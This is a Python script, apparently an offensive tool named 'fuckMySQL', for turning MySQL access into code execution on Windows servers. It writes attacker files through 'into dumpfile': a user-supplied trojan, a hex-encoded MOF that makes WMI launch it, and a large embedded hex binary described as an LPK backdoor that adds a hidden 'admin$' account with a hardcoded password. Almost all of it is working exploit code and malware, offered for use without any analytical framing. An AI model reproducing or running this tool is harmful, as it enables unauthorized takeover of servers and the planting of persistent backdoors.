#coding=utf-8
#Using for mysql promote privileges
#Author v5est0r http://wwww.zi0n.cn
#mysql低权限

import pymysql,os,ConfigParser
import argparse
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

tool_intro = '''\
  __            _    __  __       ____   ___  _
 / _|_   _  ___| | _|  \/  |_   _/ ___| / _ \| |
| |_| | | |/ __| |/ / |\/| | | | \___ \| | | | |      Author：v5est0r
|  _| |_| | (__|   <| |  | | |_| |___) | |_| | |___
|_|  \__,_|\___|_|\_\_|  |_|\__, |____/ \__\_\_____|
                            |___/
'''

success_lpk = '''\
Installed t00ls LPK backdoor,combination key："1,2",PWD:binghesec
LPK add user:admin$,PWD:789456123+abc'''

success_mof = '''\
Dumped backdoor & MOF successfully!
Mof file will execute backdoor but it only fit for win2003!'''

print(tool_intro)

conn_status = ''
def conn_mysql():
    try:
        # 数据库连接信息
        global conn
        conn = pymysql.Connect(
            host=mysql_host,
            port=mysql_port,
            user=mysql_user,
            passwd=mysql_passwd,
            db='mysql',
            charset='utf8',
            connect_timeout=6
        ) #建立MySQL连接
    except:
        conn_status = 'conn_failed'
        print 'MySQL connect error!!!'
    else:
        print("current connection: " + mysql_host + ':' + str(mysql_port) + '/' + mysql_user + '/' + mysql_passwd)
        conn_status='conn_ok'
    return conn_status;



def mof_execute():
    # 替换目录下hex.txt内容为你的木马的hex
    print("You must put your backdoor's hex file in this dir!")
    f = open('hex.txt', 'r')
    content = f.read()
    hex_mof_backdoor = content
    hex_execute_mof = "23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E22290D0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C7465720D0A7B0D0A4576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B0D0A4E616D65203D202266696C745032223B0D0A5175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E7420220D0A22576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C2220220D0A22416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B0D0A51756572794C616E6775616765203D202257514C223B0D0A7D3B0D0A0D0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D65720D0A7B0D0A4E616D65203D2022636F6E735043535632223B0D0A536372697074696E67456E67696E65203D20224A536372697074223B0D0A53637269707454657874203D0D0A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C22633A2F746573742E6578655C2229223B0D0A7D3B0D0A0D0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E670D0A7B0D0A436F6E73756D6572203D2024436F6E73756D65723B0D0A46696C746572203D20244576656E7446696C7465723B0D0A7D3B"
    # Mof文件执行导出的木马
    sql_dump_backdoor = "select 0x%s into dumpfile 'c:/test.exe'" % hex_mof_backdoor
    # mof file execute c:/test.exe
    sql_dump_mof = "select 0x%s into dumpfile 'c:/windows/system32/wbem/mof/test.mof'" % hex_execute_mof
    cursor = conn.cursor()
    try:
        cursor.execute(sql_dump_backdoor)
    except:
        pass
    try:
        cursor.execute(sql_dump_mof)
    except:
        pass
    print success_mof
    return;

def lpk_dump():
    sql_dump_lpk = "select 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000C1D9213A85B84F6985B84F6985B84F69FEA4436987B84F69B39E446986B84F6906A4416992B84F69B39E4569E7B84F6946B7126994B84F6985B84E69EAB84F6985B84F6984B84F696DA74469B6B84F696DA74B6984B84F695269636885B84F69000000000000000000000000000000000000000000000000504500004C01030089B5EF4F0000000000000000E0000E210B010600000001000010000000A0020000A9030000B0020000B003000000C26200100000000200000400000000000000040000000000000000C00300001000000000000002000000000010000010000000001000001000000000000010000000ECB103005C01000000B00300EC01000000000000000000000000000000000000000000000000000048B303000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000A00200001000000000000000040000000000000000000000000000800000E055505831000000000000010000B0020000FC000000040000000000000000000000000000400000E055505832000000000010000000B003000004000000000100000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020A3C54995E80D387D3D08D0300F4F80000004E030026010042DC77CDFF558BECE801000012B800E9090E8BE55DC31521937CC1061C2F2B24BBEF76681148652156260132FDDD3DC85281EC0811C745FC186A008DDFF6C9B608500CF8FF75F802083C86FD2563772DC204002F108B5D14C703EB6E8FFD088965F8598945F441F45074003DDECE62A60C0A0F1503F0B090FBCE7DEB00392D740D6806135B49A683C40437C6B6D97FFC837D18000F85274C38FC2EB4BB76B740C0011B8B337F8903DFF7586B388B7C0F95C0182CAB14FFFBFF3BE285DB750333C0C38BCBF7C1A9740F8A014184FDFFFFECC0743B0E75F18B01BAFFFEFE7E03D083F0FF33C283C104A99DFBDDBF41018174E88B41FC262684E4741CA9BB38A919D9FE7FC37402EBCD8D41FF2BC3C305FEFDC3FF9F19FC71C140C1E0022BE08D3C2451237EF80B4D018D038B1E83C604517F3959016F3EF7DF15890783C7044975E9E4D0A08BF8588DBD707BFB1C24578D552B0B83C30E32836DF3A448B66412BE9EC6070058A92406C9C9C9C9F8F4F0EC8585B7BB560233B86E12305022FC02F3199AEF740953699A586A194949F31C49F8F85EF41C49F31CF473F0F06C8CA4D9165BEC7B01361D6F2C63804668B80B0201BB846BB765E705214F8C1020E48B023833368EA4E8E801E437FC685D8C25471A034610F140E9BE909CE48363508D5F42B69D130D6455E4207772941C25818B612FF641680200EDE8F98275B3B1C404173F950BC2FBBDD0F72CC07505529C5013191BCB32C848CC34E0D4E000D8B31BCF8F05E2124D5B360132C99DF03E4AB0913C5B5602004A6F39F2B903C002509C287565F77E86A79D07C0B91E1901A4811C60860C265A01971206C9E45B27760E3B46CE0807C465084D1927CF01014C5169734718D9E050038547785AC91272E4D9081F7225930CC80837E0E0397926B0D4023C5153B28DA41CE4E0E42017606771A9E444C810F6CCBC5D4DF757D8644C0532F8B76C1202C820CC31065B00F60951A74D9F28B029C2A7F95953841CF90303000A53AD08E411210B07202FA3BBE95259BC0B663C22E4410BB40C0E8AB007810C5CA7618F0863B6080D10593245C8146AC4A5321E110E1E0F9EC3E09B13320BDF040320598EFC65A406526C2865112864842504C8241F030368FCBDDAE8D11AC1175017933D64DB1C13150CF4172464033D3BF4DA12150601957637E6B3DBD49BB0809E7060B54EECC823193034194859B28D8C42C60FF843322443F4F0ECA4163224E8632383D5016828A1A0F8DA6CB1D48BD8A633E80AF3ABB5BAEC97A52453680801205B8991AEDDB01EBE626DADAB01274047A30452A1DF09238300DB3D610F17ACE83AC30F20FCFF0F8427A2F3896D187BD7B6B9C7032801448B996824DA4AB58084818923E02C56AE9E5A03476909E8803F0A538B1B81C334B900B755D73C94F3A75B1A392EB041B1A8C850AB3F5058A3385296576A01B802BB6F9B67724E6C5F5B128B3F8B0F1B85C9BFFF1FE0740F8B7574050FAF07EBF58BC881F9BD7E057ACDB564C42E1FD80E72B930B0F77EF40086026D0D8321F481C01FA0276775334209FF33D66854CD184893AC87E15046ED21755D08B0361318ADA48BBDFF05308374940008321FE03D66905F792FF0A41C054820B63E42C6D816B3EC02F07FA02C90B3172421B42E088C4DFC109E8A70614328486A0F799157C72019FC12539D183619851B2F5B08B830B884C60818755B334FCEC964577C1156802C920383528F8003BE4502F341C146955C652B35E590072681B01CA9201C440699FC083A6878463487C815E6478B58503038C2241F77EFE01E485E032CC52FC29929900C080DC82163910A110C01A5285376102314346530D8E403040C6EF0CAC25C642D127E18D048684BEE1F509BEC1CB900C800584C371C9252AC532C743AC7713892CBFC2000F0075B7263EBE0A974F1C00810285B6429092E4E3EBDD9B589C3F138F819B6E64AF4F030087E24B06F917602C3197605024672520DCD6836C5662B4594157239535301EC1512755E13794A9692105A71081DBFF0DB0CF4D97DFE665FFE80CC0C66A4D971C7D6E06DFCDF5C05FE5F8B55F816467248E51C9BF485207C442D0E40A4E2210BB8FF00F208A803BB9293C14A10F4DB025B776361DDC9DD4FDC0D49160BE8C5607C2CE876BF3250C5922323A5BC586C1CAC6C652C4E8411586BC3513120AA773B0BC9E43A134240043E50A0718C89595E88190D582BDB99170C8CD6208C910C08BF04EA298152D2DA21932ED9726133F4F084D243B992F4F49E013AE34DC932F804EC3EFA249C5E23D06B222B39998CF134F46819309AF0ECB3E4E420659B33F9941826CB366895F10B9B5A2818F4B1487A1E4CC817C8170306FF030708C8ABAC06A80711B20BA711B9008C294AACCE78F5FF358FCA1848601B0619C0102720927F04C8240322F8EA1C74EC5E031420D6F73F297509E01A5CB966EDE8E4B060648473E866359089E843BE4FF4A1ABEC50EB1A1F0CE80EE90E6BE419E40CE0E007010E69DCDCBE233E5C08B06C92D8DC57E0915CC885E4E86180452D52241A250C9A0A0581911C1274F850E0E848852D2CA17932859DC10F07716000460079589C5D4E804C3236F4830050120548DC0B4B24D1E881D456A3B0483782FC5A16A26C7C6A35B2892C1BE46DA444C8B250E48493424521AF1DB348312A29917120CF000230FF00032C0E4DF862845FC56201323736F012582C901453C0264FC6677458BC283992498EF4F4309B12E03C594CD5DB12CBA59E547FDC258B073DE0008B852CE080966590EF025A346C1CDCC28E9612791219223429FEB71F56738B5424214C240885D2750D33C076BB7D0B8E06803900D548C30A750910FF43F0EE803A0C40C3F7C21E378B023A01752B2F757BA30AA5243A6108220AAA1BC1E808DAD2FD103A41027516140F03456FB7165034AE1A75D23EC31BC0DDEE1FCED1E00374148A02423FEB412BE3F95AFB6C1302AD66532E56D43BDE9AA7CDCBC44502EB91105133C149AAD5D28D2A300350BABD740B2AF1AC04EB335239085217E0F7925EC707668F47E3085AD56DFB7C3533F674084E12C6083984A0B42F4A0F3D382008BC022371B723080241B1ABA3B0E2C21A753745030E933606D891D45CB71BE053CC049475D8A4F170B2702423D4D0CDD8651B1C43D0E0D024D674D67729480FFF331E780546321943D4A7D42D21DDC2427ED4C7C85EDB92CCBDD018C5DB48A6E4CCC8D5D086183424C8DB4F0176C1800ADAE42DBF74B7EECC1D2DF7CE0A3129D486D068963023267958C9C882EB95D49059FC6CDB954CC9D0CCCC83F8C94ED02CF82C66445A16929380D8A508033904D00C94DCC3E4C95059CC8F7EA0C30A361B8D224A83F8AE2E0B2373D89412D4841E53B2014F0783740C0C1BC67BC289031B35EC60168247D90182D3D420D0190C6E09E428E451596838F3B5876C52EFF84A18081984D4FF00E148B45C854E7BABE48C909DF81A7AB14DD1504654FA60F02123DB043962F4742113D60A0132062C122057058DC9B890030190610B07599C1C8FD446D4155CF796FF3640399932B21967346400D8041C4BC8ABAC5C1C8E08484481C95440AE5C72E626F84398041047245C95552708914EAB90679110B66C0B48CB506491856190C8620919C6E01969611CF4178816DBB140D52B70307E90C15EC82484C9CF8016C961ABB4242181952C915CE30C9086D730E1B2AB644B195292D08CC0560947BD1022B8193DA13A708E454886D0052B78616075A4E98EF7345F0E6125902568E40C1EC4C2D347130E981C6B03C95A4C195690AD784A02E436106C811C78804B1EE01744317887E41879324618A05ABCD8260F8B9115E00A22E723E9AE2406D4B8E086154BC3E0E90077306207A496934100A9AA0004924158200FDCE766903BDCFDCC39520604DE5C8D7EA5DC6816397C5BB3B0402CDC1556D802063D154B401906E54A3A512C2C5920191B0021F420856C50B2E02E92E0D19019D3DCA2162983D2945849B0C0100F7091D5035A28F4B07A5A09F4B5C3C4B23C7926038C5AEC28039A2E56ACF0F5CCFB1618C0F260CBA38C46092CA31200C922F38E6A5E05B6B2E821ADFA368CB068C39D2F90020B64CC405937EC1C607030C59E08FA208FE4A07608CD1C092B1B6E06038B6479F23C5B4C2889654C68CEB75B739E1C612BC87C5BBC91C00E75556581440320CED5768990C1082863092C44C645F826409A2C4FBE01FA545D1C104807C98DA331B028D00B9217453361424E04C934963496A1B7EC80943E32D76B656122EC56EC0208C8B2F4E5FCE4DC65E4FCDCDC0E0AD21038BB30FB086116B14B359BB8CB52100AABD71B4C21EC8802D555ECF52326B2BE52D42334AD802444081F84944033940D968C8415A1D5CED4AD6C0AF0568CF0718458901B768EA4DA81849587EFE8DB02B52C0B933AEFF8E0E0C872F2B250D8D8DC05D0D0232E8414FDCC0D1B061840ABAA3799962981BDB8DD1E1A689612BE143ABAA145F1DF1352F5565711185B5B5F5EE415C858AF7C38215F2050DFA8DAF4030B835F205F20030C18030CA91B205F20030D3A19FAAD04EAA4D5A63B3004D68984830FAD2D5C49C072DCDCF519E0EA3B853D1660CE0B06525D4822E08864A90ED90CD8D8BCD464196419D4D0D0CC3CC56619CCE03D8A08E02912C985CC284522AB23D818CF2B0C28386604015E19E4CC950CD91408ACCC730C18DC9010025F0C30110F59E8D6C192E56C0818AC10D8507624F7C846001865175930EC3FB847194A9E0C04603CA828196428088C2C63E5639825D907DCA8F22CCFF2DFB8E2C8E467D92CCFE8F3DC1002E05906799604E4152AECE4599EE54AF04FF45A2EE3671965F870B91D92746CA10C58941E0FC8900CC990B8A8835C18C198439090EE9066E3506A01D1948C8C0CD641E6B0881F888A7E96C66400DB840D84A98BA843326447840F888C21433224949016340029D61554481A15680A9007644B3DBDB941919C3F225E250AE4464B481D8220A386A54B288C1A429D4B5114728045BC242F08E445C44BC42108E40445C328C9211467E01583B640A202A2C78210195D7237EE1C722C307E02000431B25CA2530C0124FCF74ACEFA2B3C9053FC48AE2DEF7B114A008FAD13B868026EF19F0C8D74241083EC7FFCFC266776BF29F3A56D486D1E7118407891068591FC7B5BB257929645CFDC044A20B6A26FAD44DDCEC387E8215AF7ABABB98944DF86FDF450AD565150EE434975EF589B84B132444D1D06A30DBCDB0BD2338AF38B1D12EE7F3F212CC3C3FCDBE30C7CE872B6FFFF09DDDD1DDF00190436CB496CC3E64E0C90054DD82F90917C2C4E5C90CC00DBBF7D3B568BC50C578B7C0483FE01750B893D72457DED5B0F494AA744241450E6D5BEFB5E22BEF68BC683E8434875167D7DAC06FB22BC45088BC7312D2C0B90EFEEFB22F1181E14684F2CA12826977C77D502FFD00A0C103768B2F6258E00FF9344E00CC958B2CC000FE4EC900CC990D4D8C9900CC9F0C8D0CEDE900CE8CC990F90D26106CA0000CB01E10780C253579233C08D79FD6FA1700DC669396817F3AB66ABAA8D8D1C47B80E10504728BF004CB9FF6FDDC9FF275423F2AEF7D12BF98BF78BD98BFA14826B8DBF0E8BCB4FC1E902BE0733C06E61ACF1E103509C38245BA3B7CDEE6389F444F081354B2068E4DDF77B6F57D68B0D190DD05124E01215FB95E721BC52E406ECA1166464C20EAC379CD4494E460E80D8F0031999907058DC6492939148C8D0348541462624E8DC14FBD1B74AFB0DEF04B9119C72FC1CF0F046E1CC047F5B81C444C3252C7B704C041C11838D094F8F79E30761B795BAFBFD483C8B4C015043FC8971450403C02E866BF679F8347EDF37386BB4CC472434CE3A1CDE5D53A3BE032D18288B251EC2B065BB07C35D6B3FF2BF75157C895DFC244D3D518D95FCFE0FB8E84ABBD913607B602DDE6F03428D85146A101691C9257067C2F107EE4CEC04A466B0BF140B680FB6B5544104616A97308BF076F60BF685F6751C490438504C564B6285CD4EC65EA64F6C978AA58B109D085257005B662A9E34C3A96641BE9BFB353F0881B91276394C04DF0F7F0F2768BC39355477083B07F8627723DB761B39563C210E565079040FC9CE4B388E2F5136D364AF40ED9F042E33BF47EB60074C5A8B5C9B2C6CFFECB727333BC6774F6177478B168D4E7FD2ADE2ED08F17E0F4AFA8B290F75C9D4FE0FAFC54F75F55D06576E900432745DE0D21F8BCFD4D10CA055994E41CA3DEC64EDB551BE33C3CB058FA14BBB85D6109133C984894D56FF07687B45F06606F5FE088D550C884DF75278477BE18D4DF0D4FF55FC4C1DF08B55F4F6B34355E541BF01103456BD0B85E6DFBE0774178B0D305246013DB48A5BFA8B46182FE97BAA2B9BFF2F1235062A8DC08701EE10185E3BE0552C44C035BFEF7F3DFB06AD91449246015750DECE8BF399CBBD34D9B820002CE5AB8BCBDB7789EDAA5F49325B8BC27553E06CAE58170A165F8BFD6653BD0C5B5B902466491A611DFC7FC1094F8BF9745B85FF74573BFA7F5315381FE1D2757C0807307F056B2BD78D4ABF7497F8013BC17F351228FF193C8D1C2A742E9886DEF13BF37722442457525640E5B87DFB0FFF45803E007D05CE02EB01462176DE7357685D6C5D8301702DF48B448490934F50731C17B0906E6FC35F2BC50B405B70A0DBB2BDAC54568D4414C7051C44F6077E9083488B84248470FF3BC789E1F10175DD5403582044193EDFAA04D1D87C4875057732FFD1BDBB8B2435516C662148EB2B6624481959C66E88EB2208031904AD9165641007070589A1BDEB4C2D48647D1852505700E2FB65A45B03515793443BF7742739538DFDD46270AC566AFF521840ED96BACDF0353D09B40AD73E0C515768B7CD06DA5EFC54C315CB8BD8CE745D1307EF0BF8AF510AEF1179921B3F90F14830D6743AB5A7B551614C091B299B1F2FB2C32FE871C787CA105766206A026EEA0038FBC4402258B9835B7CF85DDB746B2353BB2D553BFB8918EA36B65C0D7E222D2254056DA9750B4406FC143A09484D760D5D8B40D9F5D5BA1F351C43C23BE117BA0C3BD87CDC08B448B584DB548BDFB2C3C70B766001EC131AAF28A3F64FFDC618A633DB33ED3D9B57776B745A09D10DF0CB01774C74513D2C74263DD0CCAEFBA675672D44550C03806317FF6CFD9958048D6808665347EA1C8F86A344D6EBE8DABBED23F42AA2D943EB7152024224BB6D77EE05F228E40CEB5B1504DD2CCDD65F3F06052406095F5D7831F7B6405BA618C3DD6F302C037965FFB4A4EB21D9130D8B761B4CAF898774A62C5120663C9C8AB4997303D080945BBE872D4B209E1800C9D2AA07697E9BE5C9A2415636739340BBF859041A6A5C8BC11EFA52BE58DD59D3C8492CD72E6CEAB63F358351F67404C6C4463B2007C16B7B9A8D84188EF76BC60941025C579B6ED96878EE2CB9A880505256CE3C3D313F085E01449572DFB3182F08576654C126482842C1B92422030347EB415BA68400333CDA58FB8C95B2F3542B44E0807CA6EC0D881B977E760F803C339C05433D72F5407BC3A539055E74C38D53019E426B809CC0CBDA32267160B8453F1080FFDEBA170E5381E1B0205C5681F908577569259E6F36B6FF00DF4C022274193D06321FE456315C3C6702EB25B8029E657B7C061E7F1F120447F2B0C0790805040994D1CAFDBA2E509E543CD13C16DCB365815387F127C4C6DBB69A6805337F710413FF1F7C043B9675576442A3FAB5E3DB822DDFBCFAC05721848947CFC51F0C10048CAFD0DA5C160658047F9113660214C83A0F8B8C37C0B62294519E780BA76007CD5FC9A71483D1D109A1FCA21C9B1005FBCC60924C551DB02FBAA21F7E81E2F152704B31C7C7545009CB6E7AAC049666A134773F022A03199BEC7B07708CD051395263DDD9090FBF90508E101F51F92E2C21B6522614B6933EE44C10EB61BA3174062647987B92A33548303033ED8C1C52C71E20D04DBE3F4FDD1C24D944311C84862D881C90141F0C7F37D4C49B490D2C2D402941514118D219A9D8DAA1259C309AD1FBB68BC38AD234DD8646557E03D75EB9B8C540E8564F1F64145673FDE0D94F0280BF723DEF0CC738017384980F176E757A23041C6E290C25956FEB373A608B779B0CF7CC0589115DB7B6680BD6516C41081C687D676A9E8C1016E510746DDD5D0C18D56EF8084E0C6BEB41C7482E066B85CD10EB3198105422EDE4E40422180C10199D73EF6E3508D90403DF6D0C4B89705E502EAC43160F5417FAEB7F9383FA017E11568D4A8B31B40C0B91B070F1C64A75F6A0DFFD81596CDE08DD257004C70081C1123A9D3BFF05B00683FD5C7F13E6A16BA7741007C4B3FCF9B3F02489500848694C8BD0D275025FB738202C89FAD644113AC2722EFE6FFF258A0880F920740A04A175153848FF751084C99DB505DE9AE8481E73E1EB5C40450561A98138595246B4905DA8C249C25F908B2E6C23613D08C120531B2CDB1E001025FE23AD74E312B7BA34E620017E2C8C7D025EAE1268758D43C1135F801D0907400F555FB0170C3DE97504656D45015356FF17196FD81FC233F685ED76208A041E75BF9FD084C0AE100FBEC03E75173588F6365EA817BDF572E0E75B5A7FB184595A5E1C9B55632F0A7D4DF1BB880150161D30164247BBF187D185CDDD3D055C8B1D6483301412060F06AF5B23BCFFD68D849B8D04CB10D739D3401C74E076A71C4675CB748D1CA2BE70A87CDD74238B421B5D6A68D11CFC14A97E14BC7E1128510B47C1D0BD4F70EDC569DC83EEA768743BE1FF111EA38B1C8A108A1E8ACA3AD3751FFADCC7FE522E8A50018A5E010F0F83C002F8A31B23DC1575DC691BB183D8A961B14BC6925AE4BCDE6AC34A2A7F80744B2F1D2FE5DF5DDB7E43FC247E3B3BB8F1AEF0F17F378D42A5052BCE41008D4B0D0B0F11C6F08D0AFF8DF8704261088B6BF45E0807C2F3F55D5DF653F082175FC814D17535A130680866162E263C853E7C68306641C3511D6A1C66EB2E660EBA243BEA85EA0BE0DE67B20F8EDE0B4C2FF60419730D38106D49FE557AB66A2534BD4D0CFF01EE28C0BF0903CDDAEB062BCB03CAC0058152A034C8BB1EF825D4FF55741A8B6C538B765CE8D67533D62B00A77350EB4A11B023FB5F501927DA03E3C80F2DD18BFBCA4FB00176F757C18D3C28C31803FD31211B1A2DF3BE045256248F22294F775A0FC8F618DF7DFAC1744C05DA371DE518442BC179021665949C0DD834109F5192D0C70A038B47AB945E5F2694B04C15C25B49436C9CC2C3687D5020D044C360FC2F0C08434D2FD07E0C078A4C033C5C74119E0868B7C01BCF760C8A44481075EF3B91B267142E9750994B88C22A05EA20330D659F8D00A3612112BE8D7001399F86802F185F1C8FD8828D6291014D40EE866854AA93AB53F6DD3A4354055115EA2508521B639690EDE6501CE4191A985AA2D4FF69F474B6B32414C45F083F10914C1126FA3BC12ADE1AC47894D313FCDDD82212AE9D1F021E9F38D1404A9E9F182010871DE856205D3FDD383D74A880F4975086EE584F1B813051A952E66C5C147211F6B6405D384E4F2CD25C951C142C0C36A22E111604E5050CB48A8649E7A42ED37DEA8D658FDA03B51D0314D2F76C3E37100A02C401EE035A0ADA51096274353E96650D99CA4BB54923859B049B899EA1581ADB52201423215F110195561890765B46203938CA1272741D20B86940619B1A487D207801E6FA451CBDEF0752E9EB0EC605360006CBADFBA81AE2346548BC80002D2B66B69BD07440489B273CF7DC63BD01B80F87BC243834F52EBBB0F95DB0BF617B0F6C647033C8B8213803B0D82A2671BFC8ADDC3DD1B8304903D18B51E73EC01BD30181FA88845B170BA053EE237E2007E7BBB0C3074DDD013E4AD913BFC4092B7568D74080FA22B1F6AE44A120F9CD0B3AD174070613B0193A75F9F164F6B258D6995B380885ED3E403F97300B4FF66AEB65BCBE7E8316B330DBE90E279BD48FF1B6F30C445028A61C16665B60DA1C89DE898C3311C7506821E36C54345436252FB2E753C93AF90191B0082E37BD78591809826D4E590D84CF803F81527736747BEF030FA94339C887AA6600F821AF16C2F36CCCC0F7C50DD82C1AB0931505673512DC521F74288E217F1A0418236525073DE8A76C525F655087658D88689EDBDB18F89B83F9099AE7008D100B4B16C1688CE98285B091945251704096B1C1425043CC081739603B8D2B2C850E8A2D1064A050088C16CD52722C0F9851727C2DB095911E7603205FC784504D30746C5992B3324C716048830C760B0064B4034EE99AA66B2E650625074A98C909F00669B7F1037F38E1856E9B496D04772469741919F9D6480580C3B80501029A6EF719038D491E665303595FC040A069656BAF95A8D40866107EFBF0BB854ACA8030090FAFCE4A75F542EEA377160C5E890ACE08061FC2001372045FD9C4BFBD5CF111FF2E7412043075113BC27611C8001D9FF22E75EEE9C3D37168F0B20FE4F8219CC107AD2655156857F334CD807934281C3CEDBA214F243C1040213852FC684FD78B582648583E9F6D2C27834543CEE44F348DB8591C0ADB235634B5400B08F2F02A74086C915D2613D47D3895534C180CFB1C650C5C256725D02FC8357B951CD214C005C6D56BE8A39AA64F305638327C58153B9CBDBCFB8BD97031A9858E49C60E0F066C15182F093040A652153332232E434C70E140D6772065348B5BABEF78204C98B8B54414B7403F1E7420CFFC500B283DECF76D786EAC8BE873285515F804F45116D401A9DDAF0BE837F146D7B845F9E77A9E5DD8C68B97D4C0A6C256ECA8004028080DB4C159596C1074DF186AD9B3AB50B679B5FB45A16077F5B72B538BF01D6520093A68C6E3C3DF06DCEAD52F5833FF022FA1BEFF2C803E2074146A02CD04177513FF573732B8C7021B0246473BFB7CD4C2E86C60454341A39013A22D306F75578861544E6FA908B14589AE830878D8DEC88071D4E95CB5C09985AFDB4C98030AA6864073E9A8A185402BB1CF13FD776830994638558D0480B273145D218208BA3A07DFA7127DC0C1E004403254DB07C873F176F7C1E1042B0402894C0D81FB6B291713776DFADEC1DA54DC0DC29075255842D7FD7F480C75193BEA7C1583C5E25F89545E254089CFDABFB5278830C383CFFFEB12B13E0F9E8DFA42FCC04883E002484ACF33F64908C38577FF50F7D91BC981C16C1C3BCB744A3BBD9000ECB6C07D99F7FDBF6D074E1F126400AF52AD8B0D16E69ABC766E81FE79054A83CAFC42A36E27CA4C03457FCC15744ECB03CFEBB2B81F699ACEDC1354241C03182028E9BA9BA62C343C8BC3212403302B647AB638B97AF9C79BE07D6737271F1D8BC3B9F91781E37B4B37414FF483CBFC43A814D183FF01AD535BC77544C448E74AB6E50A05E0422D8B191F842159F88D5DF80C7CEF461774879B52F603F55F46149B48B80B8DA669BA167D483C21E9632FEC8D48987DF04E47D9E03454900A60FF84105F2BD503F24E1C7F758FB019DDD9E1B7A0DC050598F8BFA308AF53C5B3A291F7E903D1C1FA0B8DAE1ADFAFC1E81F03D330899135DA5BFBC199B9100E29FCB8898800599D27979C2405103C001063B2D20F147251B022F3B03CC208532B00816D53C29988C076E2060AF0DEC9A20F44C70628821AF6A502987DF872DF531AF1C4806D4759C3CFDC48B863668BDFD957DFE0F6C440943C14B0EB7DC860102BB8DC2516C01ECF4A9F1941E5FDF8B97B39ACF0A97FEB111E146B835CC682E4FF8FBE1E7FC63621150D258E4883C8FC40EFF8FF2CBE3BFE7E062BFE03CBEBC0144C83FBFF8C8DA51220F52B9FFE9463222346A295C1B761BC07C69999BE85978C9C1CE3F7FE99C1BEFEE17068C99F4983C9FC41B8B67E01033DD20A3BF976109C401863940AC2925F6F1CB31F23B7408901893A113D7C688DF11520A88D07C701DB70135E9C192C830229692043D74F144C652CBA9E83D2D079CACBF7804121B68D109D3DD87635B60A49A34818030ADA08DC541751772FA355515777A503F80F054603FDEB0B803F94C7E85760037876D9304F750A02DD16CD8313C370308C7157A05B0D18D6581C2BDD62B0516F99DE03DFC6525D8313631C5E682CD83D687C07F0388BA1182BC503C255ACCC6C747996A48985FADE4E243BC72BC14374AD3B13708A5609422003F0C211AF54E653E7D3990856391B041F1C8DC373DBF2C748226BE725DFB76A61D51F768BEB2D0777CB55428A271EA5E10E5C20455214CE123777EA07342CA06E1152182814DC4B0E2225C94082C324052A7FA2AB9BC40E6210AF7E46DCBE582D468005060CEBB96A1DC1EB8B16B89152035D7D68B0A1B0E333C9A79542DD36B6C13203C47C764E207D30427CDB08061869C359B48B969E669FB06A31081E016B3C1AC80E2982137A067A1FAC18D238B0C0D170FCF61F56B480DFD84448CC83E80574078AEF2D9C440271C0C60A40B7CD2E054547340ECF350C7C026E4530972557E7BC56C4B2D804E08B762FA26F17DB6DEB8925A2C705080016F150C3D71BF8F8152A58C088CABC85F75BF75F583E8816C059743CA10E02EFFB50DD8A0D0759EFC12D121027CDF712DF60891664360803C1375C7E3620BE8EC63E09406CC872BF661703FF1C5E348509473C77B3FB3580FE831B0482627DA8FF9CC5FEFDF638EB3E6B3BC1752C3958387EBDFF079BEF2B8D0D901E28E6320E7F1AFD5E806364EB0CF875075111B259096ACAB0BF5818485341515BC4421F757E7D22B6DEAD7A90833D48E12682EEADD08AF304027522DA5E99EE423B6F09577AFFD0080CDCB3AED9C1716C04BC4E0F49CC3366E06923C9751837C92376C0B677F646792634032125C8613B8A1C74115B08858152B83C03BA0A191E1C23514476D91E3BE60AAB974801DB8914FF4D88F836A004084DE15944810D980859EF2F2BEDCAB9D64E19E326F0D72830D24647F738D967FF97DE1558EAF3A68A464AC93A47FF770474044949CC31FB5D72C15B5E5FC9C3551049919A5B964F46446F77A16DB741484F8AA5FD09270774FFD515DCD60200FC3E5340081A0168F651B08BE49B42005A00E59BE642FB8A96371E200D8783FA0E801345E08D45102EAA7554654248FFB0FA51820D2EFFB8AC8BB8E1D6B6EE36FF4DE4AE78D61C8020A9D18E016E0D24938AA077D9D155CDF1513C3546946F1FBBFADF37941FDBE2C3C303984CDD1536B6D90A5E1CF615080E10189AB166E4955C149C1318441C0C04FB221CA1C14B1AC4B73E89189C170F0FB60688BB88B7EC779A47EB0E2E1690EBA6A2F18A044183E94546EBD22385DFF7D7F799CC59CD562F99449BB0C55DAE0C7520078B50B2D66FB7FF02081066F7C24002740A13D9EEBB8939EB76972AF431F6C2811C602DDD8C1688BF0580AD52D9DBF83D31DD1B3FB1C145F86F22870CF6C61F04E25D8B6F31EBE4DD40DAF95333DB393EA9C4A5B1491CB5B5617C59B6A6B6DE047A7F5429200BBE1A5DB17E23396A6CD4285D0410A1D9B4EBD0740E126A131C9B515BC981A59AAA103786465999DC6B3B1B0A1CB2E8033C12767000A7A9090F6F3B7767F80053751DC2700F8CAF9A740F8F3235B0BDA60878E9F64F6730844F35DAB37D28419DF0102E0402533E0BA13A58EF1B9D1CF5564EEB6B8B15137AFB0B6F09C1F8085CC8F6444A0180A780650A95EDF656CD68885D093DEB090D096143BBA959CE8D4DFC056D0351677B4B07903F02359AB7363514E0C7AF91A94